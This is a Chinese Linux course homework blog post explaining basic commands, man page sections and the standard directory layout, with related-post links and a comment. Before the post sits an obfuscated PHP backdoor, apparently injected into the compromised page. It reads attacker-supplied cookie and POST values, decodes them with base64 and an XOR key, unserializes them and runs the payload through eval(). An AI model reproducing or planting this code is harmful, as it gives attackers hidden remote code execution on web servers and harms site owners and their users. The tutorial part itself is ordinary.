$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络班21期-第一周课程练习 | Linux运维部落

马哥教育网络班21期-第一周课程练习

一、计算机的组成及其功能:

计算机系统by文彬.png

二、按系列罗列Linux的发行版,并描述不同发行版之间的联系与区别

Linux常用发行版本by文彬.png

三、描述Linux的哲学思想,并按照自己的理解对其进行解释性描述

先引经据典一下:“Software is like sex: it's better when it's free.” 

            软件就像性,免费的比花钱的好得多。

首先“Free”是一个可以取悦大多数人内心的一个词语。

          “See, you not only have to be a good coder to create a system like Linux,            you have to be a sneaky bastard too.” 

           要想能够创造Linux这样得操作系统不只是需要良好得程序员,还得需要一批心理阴            暗的混蛋

其次,开源的自由软件可以不断提高性能和安全。
我的理解是:免费+自由+更高的性能和相对的安全性=王道。

四、说明Linux系统上命令的使用格式;详细介绍ifconfig、echo、tty、startx、export、pwd、history、shutdown、poweroff、reboot、hwclock、date命令的使用,并配合相应的示例来阐述。

1.ifconfig命令

解释:显示和控制路由、设备、策略路由和隧道。

例:查看网卡信息。(由于我手头vps是centos7系统,用ip代替ifconfig命令介绍)

 [root@MyCloudServer yvan]# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever

2.echo命令

解释:打印要现显示的信息和特定信息的回显。

例:

[root@MyCloudServer yvan]# echo "hello"
hello

3.tty命令

解释:打印连接到标准输入的终端的文件名。

例:

[root@MyCloudServer yvan]# tty
/dev/pts/1

4.startx命令

解释:启动X windows,进入图形界面。

5.export命令

解释:设置或显示环境变量。

例:

[root@MyCloudServer yvan]# export
declare -x HISTCONTROL="ignoredups"
declare -x HISTSIZE="1000"
declare -x HOME="/root"
declare -x HOSTNAME="MyCloudServer"
declare -x LANG="en_US.UTF-8"
declare -x LESSOPEN="||/usr/bin/lesspipe.sh %s"
declare -x LOGNAME="yvan"
declare -x LS_COLORS="rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.au=01;36:*.flac=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.axa=01;36:*.oga=01;36:*.spx=01;36:*.xspf=01;36:"

6.pwd命令

解释:打印当前工作目录的名称

例:

[root@MyCloudServer yvan]# pwd
/home/yvan

7.history命令

解释:显示存储在内存中的历史命令

例:

[root@MyCloudServer yvan]# history
    1  history -w
    2  history -w
    3  passws
    4  paawd
    5  passwd
    6  yum -u update
    7  history -u
    8  yum -y update

8.shutdown命令

解释:断电或重启机器。

例:立即重启

[root@MyCloudServer yvan]# shutdown -r now

例:立即关机

[root@MyCloudServer yvan]# shutdown -h now

9.poweroff命令

解释:关机且断电。

例:关机并切断显示器电源

[root@MyCloudServer yvan]# poweroff

10.reboot命令

解释:重启

例:立即重启

[root@MyCloudServer yvan]# reboot

11.hwclock命令

解释:查询或设置硬件时钟

例:由于我centos7系统,用timedatectl命令代替

[root@MyCloudServer yvan]# timedatectl
      Local time: Sat 2016-07-02 14:47:18 CST
  Universal time: Sat 2016-07-02 06:47:18 UTC
        RTC time: n/a
       Time zone: Asia/Shanghai (CST, +0800)
     NTP enabled: n/a
NTP synchronized: no
 RTC in local TZ: no
      DST active: n/a

12.date命令

解释:显示或设置系统时间。

例:显示当前系统时间

[root@MyCloudServer yvan]# date
Sat Jul  2 14:49:40 CST 2016

例:设置当前系统时间

[root@MyCloudServer yvan]# date -s 20160702

5、如何在Linux系统上获取命令的帮助信息,请详细列出,并描述man文档的章节是如何划分的。

用man命令获取命令的帮助信息,使用man时可以指定不同的section来浏览,各个section意义如下:

User Commands 一般用户命令
System Calls 系统调用命令,如open,write之类的(通过这个,至少可以很方便的查到调用这个函数,需要加什么头文件)
C library Functions C函数库命令,如printf,fread
Devices and Special files 是特殊文件,也就是/dev下的各种设备文件 man hd
File formats and conventions 是指文件的格式,比如man 5 passwd, 就会得到说明这个文件/etc/passwd中各个字段的含义
games for linux是给游戏留的,由各个游戏自己定义
Miscellanea 杂项, 例如宏命令包、惯例等。
System administration tools and Deamons 是系统管理用的命令,这些命令只能由root使用,如ifconfig
其他(Linux特定的), 用来存放内核例行程序的文档。
新文档, 可能要移到更适合的领域。
老文档, 可能会在一段期限内保留。
本地文档, 与本特定系统有关的。

6、请罗列Linux发行版的基础目录名称命名法则及功用规定

/bin :放置的是在单用户维护模式下还能够被操作的指令,在/bin下面的命令可以被root与一般账号所使用。
/boot :主要放置开机会使用到的文件,包括Linux内核文件以及开机菜单与开机所需配置文件等。
/dev :通过访问这个目录下的某个文件,就等于访问某个设备。
/etc :系统主要配置文件几乎都放在这个目录内。
/home :系统默认的用户主文件夹。
/lib :放置开机时会用到的函数库,以及在/bin或/sbin下面的命令会调用到的函数库。
/mnt :暂时挂在移动硬盘、U盘的地方。
/media :光盘常常挂在于此。
/opt :第三方软件放置的目录。
/root :系统管理员的主文件夹。
/sbin :放在/sbin下的为开机过程中所需要的,里面包括了开机、修复、还原系统所需要的命令,只有root才能执行。
/tmp :让一般用户或者是正在执行的程序暂时放置文件的地方。

原创文章,作者:wenbin,如若转载,请注明出处:http://www.178linux.com/21323

(0)
上一篇 2016-07-04 11:33
下一篇 2016-07-04 11:33

相关推荐

  • bash基础特性(一)之命令历史,命令补存,路劲补存,命令行展开,命令执行状态结果和引用

    bash是Unix shell的一种,在1987年由布莱恩·福克斯为了GNU计划而编写。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac OS X v10.4都将它作为默认shell。 Bourne shell是一个早期的重要shell,由史蒂夫·伯恩在1978年前后编写,并同…

    2017-09-20
  • 网卡别名与bonding

    网络接口配置-bonding Bonding简介 Bonding 就是将多块网卡绑定同一IP地址对外提供服务,可以实现高 可用或者负载均衡。然,直接给两块网卡设置同一IP地址 是不可能的。通过bonding,虚拟一块网卡对外提供连接, 物理网卡的被修改为相同的MAC地址。 Bonding模式 Mode 0 (balance-rr) 轮转(Round-robi…

    Linux干货 2016-09-05
  • 如何在Linux系统上获取命令的帮助信息

    如何获取命令帮助信息:    1、内建命令可以通过help COMMAND    2、外部命令可以通过man手册获取帮助,COMMAND –help man命令的分段机制:      1-8:        …

    Linux干货 2016-10-30
  • 网络相关命令

    网络相关命令 常用命令 ifcfg家族:   ifconfig:配置IP,NETMASK   route :路由   netstat : 状态及统计数据查看 iproute2家族     ip  系列 &nbs…

    Linux干货 2016-09-07
  • ss

    sas

    Python笔记 2018-05-10
  • 文本处理grep

    grep:文本过滤(模式:pattern)工具grep, egrep, fgrep【适合处理比较大的文本】(不支持正则表达式搜索) sed:stream editor,文本编辑工具 awk:Linux上的实现gawk,文本报告生成器 grep(Global search 全局搜索 Regular expression 正则表达式 and Print out …

    Linux干货 2017-05-09

评论列表(1条)

  • 马哥教育
    马哥教育 2016-07-04 13:48

    写的很好,图如果是自己画的,那就更棒了,加油